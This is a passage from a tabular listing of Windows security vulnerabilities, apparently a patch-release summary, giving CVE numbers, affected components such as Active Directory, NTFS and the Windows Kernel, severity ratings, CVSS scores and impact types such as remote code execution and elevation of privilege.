5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information 